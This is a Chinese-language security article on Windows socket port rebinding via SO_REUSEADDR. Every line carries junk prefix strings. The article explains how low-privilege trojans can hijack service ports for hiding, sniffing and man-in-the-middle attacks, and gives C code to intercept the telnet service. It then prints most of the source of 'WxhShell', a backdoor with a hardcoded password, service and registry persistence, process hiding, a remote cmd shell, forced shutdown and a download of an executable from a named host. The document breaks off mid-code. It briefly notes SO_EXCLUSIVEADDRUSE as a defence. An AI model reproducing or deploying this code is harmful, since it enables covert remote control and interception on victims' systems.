在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
F'T=
Alf
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>H]|A<9u( `dq3= saddr.sin_family = AF_INET;
bl QzVp- b&_u
O saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Hr64M0V3B HhT8YH bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0V>N#P] ztt%l # 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/m|&nl8"qe [sh"? 这意味着什么?意味着可以进行如下的攻击:
\q)1TTnHS znDtM1sLeV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
rSFXchD/ ~dX@5+Gd 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
NU6Kh7 4N^Qd3[d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\$0
x8B hghto
\G5Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x%Y a*T 4wEpyQ|L 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%v6]>FNP'3 ]idD&5gd 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7Q4PjcD &?ed.V@E5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Hi 0df3t 3qwYicq, #include
qCFXaj
#include
pDnFT2 #include
>ehWjL`8 #include
}sN9QgE DWORD WINAPI ClientThread(LPVOID lpParam);
%0M^ int main()
fgz'C? {
uvc{RP WORD wVersionRequested;
GzE3B';g DWORD ret;
vdX~E97 WSADATA wsaData;
(YWc%f4 BOOL val;
-X[8 soz SOCKADDR_IN saddr;
2wimP8 SOCKADDR_IN scaddr;
kl<B*:RqH int err;
x;b+gIz* SOCKET s;
f4 ;8? SOCKET sc;
7XI4=O};&% int caddsize;
5@r Zm4U HANDLE mt;
Ydd>A\v\; DWORD tid;
i)^ZH#Gp wVersionRequested = MAKEWORD( 2, 2 );
W1,L>Az^Ts err = WSAStartup( wVersionRequested, &wsaData );
|$-d,] V if ( err != 0 ) {
?9ho| printf("error!WSAStartup failed!\n");
^T
J return -1;
("@V{<7(t }
*'S%gR=Aa+ saddr.sin_family = AF_INET;
)|1JcnNSa D0_x|a //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
g(F*Y>hk f0'Wq^^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_=M'KCL*) saddr.sin_port = htons(23);
Ac(Vw% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#YMp,i {
hx;kEJ printf("error!socket failed!\n");
^cXL4*_= return -1;
|@9I5Eg)iE }
<("w'd} val = TRUE;
s7cyo
] //SO_REUSEADDR选项就是可以实现端口重绑定的
wN0OAbtX' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
zNTu j p {
.L|ax).D printf("error!setsockopt failed!\n");
UE;)mZ=l| return -1;
sNpBTG@{l }
P!&CH4+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.F$AmVTN //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
uM6!RR!~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
uTt:/gm FwzA_
nn if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_+Kt=;Y8 {
2 g8P$+;
ret=GetLastError();
`G5wiyH}) printf("error!bind failed!\n");
N5_.m(: return -1;
6&Ir0K/ }
Tsp-]-) listen(s,2);
}EG(!)u while(1)
PvBbtC-9b {
%YAiSSsV caddsize = sizeof(scaddr);
)'CEWc% //接受连接请求
]|BSX-V.%i sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5K-)X9z? if(sc!=INVALID_SOCKET)
)CTM {
]<?)(xz mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1KR|i" if(mt==NULL)
&>b1ES.> {
?B!ZqJ# printf("Thread Creat Failed!\n");
~0{Kga break;
{!?RG\EYN }
pNWp3+a' }
@{a-IW3 CloseHandle(mt);
_Cs}&Bic_ }
Oydmq,sVe( closesocket(s);
oVsazYJ|? WSACleanup();
,(=]6V return 0;
<vuX "
8 }
25[/'7_" DWORD WINAPI ClientThread(LPVOID lpParam)
?a9k5@s {
`5&V}"lB SOCKET ss = (SOCKET)lpParam;
W)~.o/; SOCKET sc;
M\6v}kUY unsigned char buf[4096];
A>2p/iMc SOCKADDR_IN saddr;
TAoR6aE long num;
z$5C(! ) DWORD val;
D*Q#G/TF3 DWORD ret;
/8HO7E+5 //如果是隐藏端口应用的话,可以在此处加一些判断
sYI':UQe //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jch8d(`?d saddr.sin_family = AF_INET;
ay|{!MkQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.4(f0RG saddr.sin_port = htons(23);
*03/:q ^( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
s@iCfX U {
*?"{T;4u~O printf("error!socket failed!\n");
<BA&S
_=4 return -1;
"uC*B4` }
K7VG\Ec val = 100;
V gk,+l!4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wKbymmG {
gI3rF= ret = GetLastError();
OFbg]{ub? return -1;
6|Q'\ }
5/ju
it if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.)zISa*Xy {
c3t8yifQ ret = GetLastError();
_q4m7C< return -1;
(\>'yW{f }
-Lb^O/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
,4,c-
{
2H "iN[2A printf("error!socket connect failed!\n");
,quTMtk~ closesocket(sc);
0Wm-`ZA closesocket(ss);
S$WM&9U return -1;
gXJ^o;R>M }
*b_54X%3 while(1)
w5jZI|
{
mh]$g<*m //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
r/2:O92E //如果是嗅探内容的话,可以再此处进行内容分析和记录
`0D1Nh"%k //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
uJ\Nga<? num = recv(ss,buf,4096,0);
`%p6i|
_Q if(num>0)
@E;pT3; ) send(sc,buf,num,0);
- S-1<xR else if(num==0)
S>E.*]_ break;
$'*BS num = recv(sc,buf,4096,0);
+cH(nZ*f if(num>0)
1D6O=j\ send(ss,buf,num,0);
\TlUC<urP else if(num==0)
&Z!2xfQy> break;
s+- aHn }
?!oa15 closesocket(ss);
1?\ Y,+ closesocket(sc);
>cL2PN_y return 0 ;
w%n]~w=8 }
,2bAKa H/Q)zDP i@L2W>{P ==========================================================
/)TEx}wk }}1Q<puM 下边附上一个代码,,WXhSHELL
V}-o):dI| V p{5Kxq ==========================================================
Y_sVe ]'/]j #include "stdafx.h"
T_T{c+,Zd$ zmRK%a( #include <stdio.h>
Am4(WXVQ #include <string.h>
*,
K
\A #include <windows.h>
e`F|sz]k"H #include <winsock2.h>
mA@+4& #include <winsvc.h>
EZBzQ"" #include <urlmon.h>
C<XDQ>? cO&9(.d #pragma comment (lib, "Ws2_32.lib")
DA~ELje^j #pragma comment (lib, "urlmon.lib")
Q;nr=f7Ys K/cK6Yr #define MAX_USER 100 // 最大客户端连接数
qV,j)b3M #define BUF_SOCK 200 // sock buffer
w-Fk&dC69 #define KEY_BUFF 255 // 输入 buffer
xS1|Z|& e]?S-J' z #define REBOOT 0 // 重启
k)Wz b #define SHUTDOWN 1 // 关机
F DX+ 2Zip8f! #define DEF_PORT 5000 // 监听端口
f34&:xz2U G|_aU8b|t #define REG_LEN 16 // 注册表键长度
G. TX1 #define SVC_LEN 80 // NT服务名长度
f4}6$>) "@$STptkc // 从dll定义API
?UDO%`X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)A=g# D# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_<Yo2,1^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%WR"85 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*`T&Dlt'8 H_nJST<v` // wxhshell配置信息
7+4"+CA struct WSCFG {
]M;! ])b$ int ws_port; // 监听端口
7:'>~>' char ws_passstr[REG_LEN]; // 口令
c F]3gM int ws_autoins; // 安装标记, 1=yes 0=no
=lQ[%& char ws_regname[REG_LEN]; // 注册表键名
5AU3s char ws_svcname[REG_LEN]; // 服务名
bz]O(` char ws_svcdisp[SVC_LEN]; // 服务显示名
oW6<7>1M7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
!H\GHA'DO] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.+h
pxZ int ws_downexe; // 下载执行标记, 1=yes 0=no
Qpf]3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kH-b! char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0u2uYiE-l yVzg<%CR^ };
:G/]rDtd 7g+ ] // default Wxhshell configuration
#SNI
dc>9\ struct WSCFG wscfg={DEF_PORT,
vyGLn "xuhuanlingzhe",
,5*xE\9G 1,
uiA:(2AQ "Wxhshell",
5T#D5Z<m "Wxhshell",
RQNi&zX/ "WxhShell Service",
4LJ}>e "Wrsky Windows CmdShell Service",
X{9o8
*V "Please Input Your Password: ",
/j@ `aG(a 1,
!5t 3Y "
http://www.wrsky.com/wxhshell.exe",
S'p`ECfVMA "Wxhshell.exe"
KBA% };
@A'1D@f# e/jM+%
// 消息定义模块
rd4'y~#S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yt:V+qdv char *msg_ws_prompt="\n\r? for help\n\r#>";
=XlIe{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
SJ^?D8 char *msg_ws_ext="\n\rExit.";
iDc|9"|Tf3 char *msg_ws_end="\n\rQuit.";
<OSvRWP) char *msg_ws_boot="\n\rReboot...";
1[9j`~[([ char *msg_ws_poff="\n\rShutdown...";
CT%m_lN char *msg_ws_down="\n\rSave to ";
uA`PZ| ER1mA:8>E char *msg_ws_err="\n\rErr!";
Q.dy
$`\ char *msg_ws_ok="\n\rOK!";
N==_'`O1Q0 ^ZWFj?`\UV char ExeFile[MAX_PATH];
V_622~Tc/[ int nUser = 0;
dU3>h[q HANDLE handles[MAX_USER];
8;&S9'ci int OsIsNt;
Vp"Ug,1 %ab)Gs SERVICE_STATUS serviceStatus;
fO!O"D5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
UC/2&7? v1g5( // 函数声明
UDtbfc7bk int Install(void);
\&)W#8V int Uninstall(void);
#gJ~ {tA: int DownloadFile(char *sURL, SOCKET wsh);
lNVAKwW2# int Boot(int flag);
)Hm[j)YI void HideProc(void);
X`QW(rq int GetOsVer(void);
?$4R < int Wxhshell(SOCKET wsl);
E wsq0D void TalkWithClient(void *cs);
zb}+ m#q int CmdShell(SOCKET sock);
w?W e|x3 int StartFromService(void);
:P~&
b P int StartWxhshell(LPSTR lpCmdLine);
H<7DcwXv Ilu`b|%D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ruA+1-<f VOID WINAPI NTServiceHandler( DWORD fdwControl );
13_~)V bRz^= // 数据结构和表定义
-7z y SERVICE_TABLE_ENTRY DispatchTable[] =
*oX]=u& {
pQ(eF0KG {wscfg.ws_svcname, NTServiceMain},
Ss! 3{VW {NULL, NULL}
gLMea: };
Rue|<d1 ;s.5\YZ"k // 自我安装
Q1\k`J int Install(void)
$"{3yLg {
;VlZd*M? char svExeFile[MAX_PATH];
lc?mKW9 HKEY key;
#IGoz|m strcpy(svExeFile,ExeFile);
\"`>-v"h UAXF64w{ // 如果是win9x系统,修改注册表设为自启动
`pd if(!OsIsNt) {
GKujDx+h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jl-Aos"/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JBEgiQ/ RegCloseKey(key);
W%9K5(e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zo7XmUI3P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mQ60@_"Y=, RegCloseKey(key);
K#f`_SCW return 0;
u$=ogp=0 }
QXxLe* }
jvc?hUcLKT }
'}pgUh_ else {
'
ra B ; (0(8G // 如果是NT以上系统,安装为系统服务
^HlLj# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%*6oUb if (schSCManager!=0)
nB@iQxcz {
$:BK{,\
SC_HANDLE schService = CreateService
#+Yp^6zg (
Sa?5iFg schSCManager,
syW9Hlm wscfg.ws_svcname,
DkF2R @ wscfg.ws_svcdisp,
oD#<?h)( SERVICE_ALL_ACCESS,
{[t"O u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
n]C%(v!u3 SERVICE_AUTO_START,
=Q8H]F SERVICE_ERROR_NORMAL,
8Z4?X% svExeFile,
P-OPv%jyi NULL,
S|q!? /jqj NULL,
U|Z>SE<k NULL,
q]i(CaKh NULL,
P
5qa:< NULL
9oz (=R );
,D@;i if (schService!=0)
f5yux}A{ {
W93JY0Ls9| CloseServiceHandle(schService);
&I}T<v{f CloseServiceHandle(schSCManager);
Q),3&4pM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
NB
W%.z strcat(svExeFile,wscfg.ws_svcname);
[cQ<dVaTX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
B=gsd0^] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|j~EV~AJ RegCloseKey(key);
UrhM)h?% return 0;
Z'}(t, }
Vy%
:\p+ }
wsJ%*
eYf CloseServiceHandle(schSCManager);
U!\2K~ }
Dz8:;$/ }
6_%]\37_Z m/<F 5R return 1;
:(l $^
M }
O\4+_y &vFqe,Z // 自我卸载
Kl aZZJ int Uninstall(void)
K(Q]&&< {
<K,%
y(] HKEY key;
O@r.> zY1s7/$i if(!OsIsNt) {
=CKuiO.j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G !1~i*P$u RegDeleteValue(key,wscfg.ws_regname);
Ev+HW x~Y RegCloseKey(key);
p]h*6nH>~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i+)}aA RegDeleteValue(key,wscfg.ws_regname);
9QH9gdiw RegCloseKey(key);
+dCDM1{_a return 0;
xBL$]> }
:>P4L,Da] }
8Q^6ibE }
+^4BO` else {
5oU`[&=Ob r:c@17 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'_.q_Tf-^ if (schSCManager!=0)
Qst
\b8, {
vnC<*k4&v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
RG l=7^M if (schService!=0)
p<=(GY- {
v@fe-T&0 if(DeleteService(schService)!=0) {
$(@o$%d CloseServiceHandle(schService);
"?.'{,Q CloseServiceHandle(schSCManager);
Q%& _On return 0;
@e!Zc3 }
xb9Pc.A[ CloseServiceHandle(schService);
Sa;<B:| }
t;.^K\S4 CloseServiceHandle(schSCManager);
m"gni # }
UCn*UX }
h"%|\o+3 Ew
%{ i(d return 1;
%XP_\lu] }
Ml8 YyF/~ GJ1;\:cQq // 从指定url下载文件
d ~{jEg int DownloadFile(char *sURL, SOCKET wsh)
KE/-VjZu {
?$|uT HRESULT hr;
W\@?e32 char seps[]= "/";
9Z,*h-o char *token;
.D8~)ZWN char *file;
eg"=H50 char myURL[MAX_PATH];
aho'|%y) char myFILE[MAX_PATH];
cOSxg=~>u H96BqNoO strcpy(myURL,sURL);
V~(EVF{h token=strtok(myURL,seps);
Gnbfy4Z while(token!=NULL)
< /;Q8;0 {
V$/u file=token;
Em e'Gk token=strtok(NULL,seps);
Sl3KpZ }
[3O^0-:6E $Wit17j GetCurrentDirectory(MAX_PATH,myFILE);
r]A"Og_U strcat(myFILE, "\\");
}P<Qz^sr_ strcat(myFILE, file);
1~}m.ER send(wsh,myFILE,strlen(myFILE),0);
yZYKwKG send(wsh,"...",3,0);
PsU9R#HL1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lGdM80f if(hr==S_OK)
]2Sfkl0 return 0;
Guk.,}9 else
Qq#Ff\|4u( return 1;
J\het2?\ L([E98fo }
9z5\*b s `]*%:NZP@ // 系统电源模块
t)-*.qZh int Boot(int flag)
(k%GY<
b P {
W8w3~ HANDLE hToken;
01U
*_\ TOKEN_PRIVILEGES tkp;
bTZ>@~$ &|v{#,ymeb if(OsIsNt) {
PX;Vo~6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3/X-Cr+d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`J72+ RA tkp.PrivilegeCount = 1;
wgCvD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w3^NL(> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6!P`XTTE if(flag==REBOOT) {
yiiyqL*E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ne3R.g9;Z return 0;
Lltc4Mzw }
i 3m3zXt else {
t?gJNOV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
a%Uw;6|{ return 0;
!CVuw }
<0CzB"Ap }
#EJhAJ else {
B?+.2 if(flag==REBOOT) {
J.#(gFBBl\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]b 3/Es+ return 0;
,eR8~(`= }
6SE6AL<b else {
$tI]rU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K&*iw` return 0;
&J_Z~^ }
vu=me?m?( }
_w 5RK( N;uUx#z return 1;
?a
S% }
4t04}vp `>s7M.|X // win9x进程隐藏模块
M :V2a<!c void HideProc(void)
-K"4rz {
^$!987" W4(v6>5l HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
sONBQ9 if ( hKernel != NULL )
o/C(4q6d {
g& k58{e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$[g_=Z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!=3Rg-'d1 FreeLibrary(hKernel);
Guh%eR'Wt }
rz6uDJ" :p' VbQZ{ return;
(:5G#?6, }
9qKzS<"h [QT1Ju64 // 获取操作系统版本
Wt^|BjbB4 int GetOsVer(void)
-_NC%iN#C {
=VNSiK>F OSVERSIONINFO winfo;
Y2C9(Zk
U winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
b.s9p7:J GetVersionEx(&winfo);
3 t)v%S|k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
hrbo:8SL return 1;
'B_\TU0
O else
qos`!=g? return 0;
1~J5uB 4 }
K%MW6y cq*=|m0}Z // 客户端句柄模块
nU(DYHc+l int Wxhshell(SOCKET wsl)
I^D0<lHl~ {
w1r$='*I SOCKET wsh;
'CXRG$D struct sockaddr_in client;
JWROYED DWORD myID;
z>;$im $+cAg> while(nUser<MAX_USER)
- hzjV| {
+Ng0WS_0 int nSize=sizeof(client);
,m^;&& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
a8$kNtA if(wsh==INVALID_SOCKET) return 1;
e*C6uz9N Tr& }$kird handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*#y;8 if(handles[nUser]==0)
=p@8z
/u closesocket(wsh);
;Wc4qJ.@ else
(vc|7DX M nUser++;
iEIg: }
?7[alV ~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'9s5OTkN ; w5KPB5/zu return 0;
1f#mHt:( }
fr[3:2g-_ r[_4Lo@G // 关闭 socket
"CQw/qZw void CloseIt(SOCKET wsh)
|Ps% M|8~ {
[mUBHYD7OI closesocket(wsh);
y#v"GblM nUser--;
<YFY{VC( ExitThread(0);
6_gnEve
h }
15{Y9! [u
M-0t // 客户端请求句柄
*1{S*`|cJy void TalkWithClient(void *cs)
hXn3,3f3oZ {
YE}s 4 =Gph SOCKET wsh=(SOCKET)cs;
uS+k^
# char pwd[SVC_LEN];
J:j<"uPm char cmd[KEY_BUFF];
F7MzCZvu char chr[1];
,RxYd6 int i,j;
d2S~)/@S VR5fqf|* while (nUser < MAX_USER) {
(*\jbK i)ASsYG! if(wscfg.ws_passstr) {
k+^'?D--'P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
in-C/m# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q;u SWt<{ //ZeroMemory(pwd,KEY_BUFF);
U__(;
/1; i=0;
ZJ,cQ+fn while(i<SVC_LEN) {
Thr*^0$C {g6Qv- // 设置超时
;AJTytE>% fd_set FdRead;
Ucdj4[/,h struct timeval TimeOut;
T]T;$ FD_ZERO(&FdRead);
}_
mT
l@* FD_SET(wsh,&FdRead);
4~z?" TimeOut.tv_sec=8;
?BA^YF TimeOut.tv_usec=0;
PX(pX> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8|Y.|\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
"YU{Fkl#j |=a}iU8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&o3K%M;C? pwd
=chr[0]; BxK^?b[E8
if(chr[0]==0xd || chr[0]==0xa) { N#C1-*[C
pwd=0; Q@@v1G\
break; _7T@5\b:;
} up'
i++; $ (=~r`O+1
} }!>=|1fY
&PWB,BXv
// 如果是非法用户,关闭 socket <plC_{Y:wu
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D]s]"QQ8
} M$Zo.Bl$(
U`|0 jJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (Y%Q|u
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qT:zEt5
\C^;k%{LV
while(1) { ra N)8w}-
q my%J
ZeroMemory(cmd,KEY_BUFF); 1xE]6he4{T
,m<H-gwa
// 自动支持客户端 telnet标准 dq1:s1
j=0; #-% A[7Cdp
while(j<KEY_BUFF) { JPn$FQD
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k>jbcSY(z<
cmd[j]=chr[0]; _ee
dBpV
if(chr[0]==0xa || chr[0]==0xd) { $_H`
cmd[j]=0; 41a.#o
break; CSPKP#,B0[
} fFvF\
j++; CzCQFqXI
} 6]zd.W
=qy=-j]
// 下载文件 wCf~O'XLw
if(strstr(cmd,"http://")) { {O<l[|Ip
send(wsh,msg_ws_down,strlen(msg_ws_down),0); r7]zQIE
if(DownloadFile(cmd,wsh)) c#IYFTz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }N0Qm[R
else PQKaqv}N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cxod[$8
} K$K^=>I"o
else { @H>@[+S#
K_?W\Yg
switch(cmd[0]) { >odbOi+X
me6OPc;:!
// 帮助 )}vNOE?X~
case '?': { 54-#QIx|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Uo12gIX
break; |2\{z{?
} m'\ 2:mDu0
// 安装 `LAR@a5i
case 'i': { l
{jmlT
if(Install()) B+C);WQ,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8}X5o]Mv
else ae"]\a\&1o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ghl'nqPlm
break; Y{v(p7pl
} Hn>B!Bm*
// 卸载 I1oje0$
case 'r': { #_Z$2L"U
if(Uninstall()) ?m$a6'2-,J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uj+j}C
else a22Mufl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P&m\1W(
break; P0H6mn*
} kr$b^"Ku
// 显示 wxhshell 所在路径 pj4!:{.;
case 'p': { J_Ltuso
char svExeFile[MAX_PATH]; Yt|6
X:l
strcpy(svExeFile,"\n\r"); [V'QrcCF
strcat(svExeFile,ExeFile); ^Q*atU
send(wsh,svExeFile,strlen(svExeFile),0); OO?]qZa1
break; >#Q\DsDS
} `(A5f71MfM
// 重启 U9D!GKVp
case 'b': { E*L iM5+I
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "S3wk=?4
if(Boot(REBOOT)) ebPgYxVZR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J!'@ Bd
else { p!k7C&]E
closesocket(wsh); 5_XV%-wM
ExitThread(0); x(<(t:?o
} Y"-^%@|p
break; k}
]T;|h]
} s"Pf+aTW
// 关机 n,B,"\fw
case 'd': { "#( T
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }y9mNT
if(Boot(SHUTDOWN)) ^Y-]*8;]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T\w?$ s
else { []a[v%PkG
closesocket(wsh); Ag F,aZU
ExitThread(0); JQ4{` =,b
} r$]HIvJD
break; dnV[ P
} 1hcjSO
// 获取shell Or
!+._3i
case 's': { .U T@p
CmdShell(wsh); V& C/Z}\
closesocket(wsh); u%~igt@x
ExitThread(0); +cD!1IT:
break; GnP|x}YM
} s21wxu:
// 退出 7 ^w >Rj
case 'x': { NPFpq,P>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vN3Zr34
CloseIt(wsh); BD`2l!d
break; ,t\* ZTt$
} S"Zp D.XX
// 离开 ]p_@@QTC
case 'q': { 5jUYN-$GO
send(wsh,msg_ws_end,strlen(msg_ws_end),0); C@jJ.^
<<
closesocket(wsh); $.9{if#o&
WSACleanup(); XJLQ{
exit(1); z{Mr$%'EY
break; [oF|s-"9!
} i hh/sPi
} .BFYY13H
} &ZL3{M
tK&'<tZh
// 提示信息 5Ri6Z#qm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F <hJp,q9
} kWdi595
} IpP~Uz
qhT@;W/X
return; 7O,U?p
} 61xs%kxb..
rk)##)
// shell模块句柄 271&i
int CmdShell(SOCKET sock) 6M13f@v
{ (PfqRk1Y
STARTUPINFO si; >Wz;ySEz
ZeroMemory(&si,sizeof(si)); msVOH%wH
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LVJxn2x6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,_"AT!r
PROCESS_INFORMATION ProcessInfo; UKM2AZ0lb
char cmdline[]="cmd"; A45A:hqs
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ot]Ru,y->+
return 0; `[C!L *#,
} dDF
.qXq.
Y5F]:gs@
// 自身启动模式 (
H6c{'&
int StartFromService(void) U#3J0+!
{ sP ls
zC[
typedef struct +|tC'gCnV
{ N 5 $c]E
DWORD ExitStatus; }[M`uZ
